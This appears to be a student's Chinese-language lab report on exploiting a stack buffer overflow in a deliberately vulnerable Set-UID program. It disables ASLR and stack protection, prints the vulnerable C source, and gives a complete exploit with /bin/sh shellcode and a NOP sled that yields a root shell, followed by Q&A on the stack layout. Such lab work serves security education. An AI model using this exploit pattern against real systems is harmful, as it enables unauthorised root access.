緩衝區溢出漏洞:緩衝區溢出是指程序試圖向緩衝區寫入超出預分配固定長度數據的狀況。這一漏洞能夠被惡意用戶利用來改變程序的流控制,甚至執行代碼的任意片斷。這一漏洞的出現是因爲數據緩衝器和返回地址的暫時關閉,溢出會引發返回地址被重寫。linux
輸入命令安裝一些用於編譯32位C程序的東西:shell
sudo apt-get update sudo apt-get install lib32z1 libc6-dev-i386 sudo apt-get install lib32readline-gplv2-dev
輸入命令「linux32」進入32位linux環境,輸入「/bin/bash」使用bash
在這裏linux32命令出現了問題,去網上查了一下沒有解決,可是會顯示linux32,也能夠繼續使用。
/bin 表明的是binary, 二進制文件,主要就是一些系統命令;還有一個經常使用的目錄是/usr/bin,幾乎全部的應用程序的可執行文件都裝這裏的。
/bin/bash說明你的shell類型爲bash,bash shell是最經常使用的一種shell, 是大多數Linux發行版默認的shell。sass
Ubuntu和其餘一些Linux系統中,使用地址空間隨機化來隨機堆(heap)和棧(stack)的初始地址,這使得猜想準確的內存地址變得十分困難,而猜想內存地址是緩衝區溢出攻擊的關鍵。所以本次實驗中,咱們使用如下命令關閉這一功能:bash
sudo sysctl -w kernel.randomize_va_space=0
設置 randomize_va_space 爲 0 後,再看看 cat 的內存佈局,能夠看出,棧和 mmap 區域都從固定位置開始了。app
此外,爲了進一步防範緩衝區溢出攻擊及其它利用shell程序的攻擊,許多shell程序在被調用時自動放棄它們的特權。所以,即便你能欺騙一個Set-UID程序調用一個shell,也不能在這個shell中保持root權限,這個防禦措施在/bin/bash中實現。
linux系統中,/bin/sh實際是指向/bin/bash或/bin/dash的一個符號連接。爲了重現這一防禦措施被實現以前的情形,咱們使用另外一個shell程序(zsh)代替/bin/bash。下面的指令描述瞭如何設置zsh程序:dom
sudo su cd /bin rm sh ln -s zsh sh exit
而後進入tmp目錄,cd /tmp函數
將漏洞程序stack.c,保存到 /tmp 目錄下佈局
/* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */ #include <stdlib.h> #include <stdio.h> #include <string.h> int bof(char *str) { char buffer[12]; /* The following statement has a buffer overflow problem */ strcpy(buffer, str); return 1; } int main(int argc, char **argv) { char str[517]; FILE *badfile; badfile = fopen("badfile", "r"); fread(str, sizeof(char), 517, badfile); bof(str); printf("Returned Properly\n"); return 1; }
而後進行gcc編譯,如圖
ui
設置SET-UID
this
GCC編譯器有一種棧保護機制來阻止緩衝區溢出,因此咱們在編譯代碼時須要用 –fno-stack-protector 關閉這種機制。
而 -z execstack 用於容許執行棧。
咱們的目的是攻擊剛纔的漏洞程序,並經過攻擊得到root權限。
把如下代碼保存爲「exploit.c」文件,保存到 /tmp 目錄下。攻擊程序代碼以下:
/* exploit.c */ /* A program that creates a file containing code for launching shell*/ #include <stdlib.h> #include <stdio.h> #include <string.h> char shellcode[]= //得到一個shell "\x31\xc0" //xorl %eax,%eax "\x50" //pushl %eax "\x68""//sh" //pushl $0x68732f2f "\x68""/bin" //pushl $0x6e69622f "\x89\xe3" //movl %esp,%ebx "\x50" //pushl %eax "\x53" //pushl %ebx "\x89\xe1" //movl %esp,%ecx "\x99" //cdq "\xb0\x0b" //movb $0x0b,%al "\xcd\x80" //int $0x80 ; void main(int argc, char **argv) { char buffer[517]; FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */ memset(&buffer, 0x90, 517); /* You need to fill the buffer with appropriate contents here */ strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); strcpy(buffer+100,shellcode); /* Save the contents to the file "badfile" */ badfile = fopen("./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile); }
注意上面的代碼,「\x??\x??\x??\x??」處須要添上shellcode保存在內存中的地址,由於發生溢出後這個位置恰好能夠覆蓋返回地址。
而 strcpy(buffer+100,shellcode); 這一句又告訴咱們,shellcode保存在 buffer+100 的位置。
如今咱們要獲得shellcode在內存中的地址,輸入命令:
gdb stack disass main
結果如圖:
接下來的操做:
根據語句 strcpy(buffer+100,shellcode); 咱們計算shellcode的地址爲 0xffffd020(十六進制)+100(爲十進制,十六進制爲64)=0xffffd084(十六進制)
如今修改exploit.c文件,將 \x??\x??\x??\x?? 修改以下
而後,編譯exploit.c程序:
gcc -m32 -o exploit exploit.c
先運行攻擊程序exploit,再運行漏洞程序stack,得出攻擊結果
攻擊成功獲取了root權限,其中whoami處沒法刪除輸入內容。
1.爲何要設置SET-UID:
答:sudo su的意思是切換到root用戶。sudo就是以超級管理員的權限作某件事情,su就是切換用戶,後面一半跟着一個用戶名,若沒有用戶名,則默認表示切換到root用戶。在root用戶的模式下,編譯生成了一個stack可執行文件,那麼其擁有者的權限就爲root(UID是用戶標誌號,用來表示用戶權限的,set-uid的做用是「讓執行該命令的用戶以該命令擁有者的權限去執行,就是普通用戶執行時會擁有root的權限。chmod u+s stack -- 爲stack文件加上set-uid標誌)。
咱們能夠看到,在切換到root用戶時,生成的stack程序的擁有者和所屬用戶組是root。正常狀況下文件的用着的執行權限爲x,當咱們爲其加上set-uid標誌時,x就變成了s,
此時,普通用戶在執行stack這個程序的時候就會保持root權限。總之,setuid就是爲了讓咱們在運行程序時保持root權限,來方便以後利用攻擊程序調用shell也是root權限。
2.如何得出:
答:程序調用bof子函數的時候先將返回地址壓棧,接着會有
pushl %ebp
movl %esp,%ebp
來創建一個子函數的棧結構,因而將ebp壓棧,接着esp會繼續向棧頂移動,爲子函數的局部變量申請空間。由於在64位系統中,一個內存區域佔8個字節(64/8,一個字節佔8位)。
因此,調用子函數以後棧的示意圖以下:
從圖中可見,在返回地址前面有24個字節,因此填充24個\x90
若是是32位機子的話,這裏應當填充16個\x90。
3.爲何是加100,其它程序裏是其它的數字:
答:在這裏我以爲是一個取值範圍內的均可以,前面填充了24個字節,因此buffer能夠+(24~517-shellcode的機器碼字節數)均可以。此處就是爲了把shellcode的機器碼安置在一片區域裏,而後前面利用緩衝區溢出在返回地址處填上這個機器碼位置對應的地址,執行返回地址時指向shellcode的地址就好。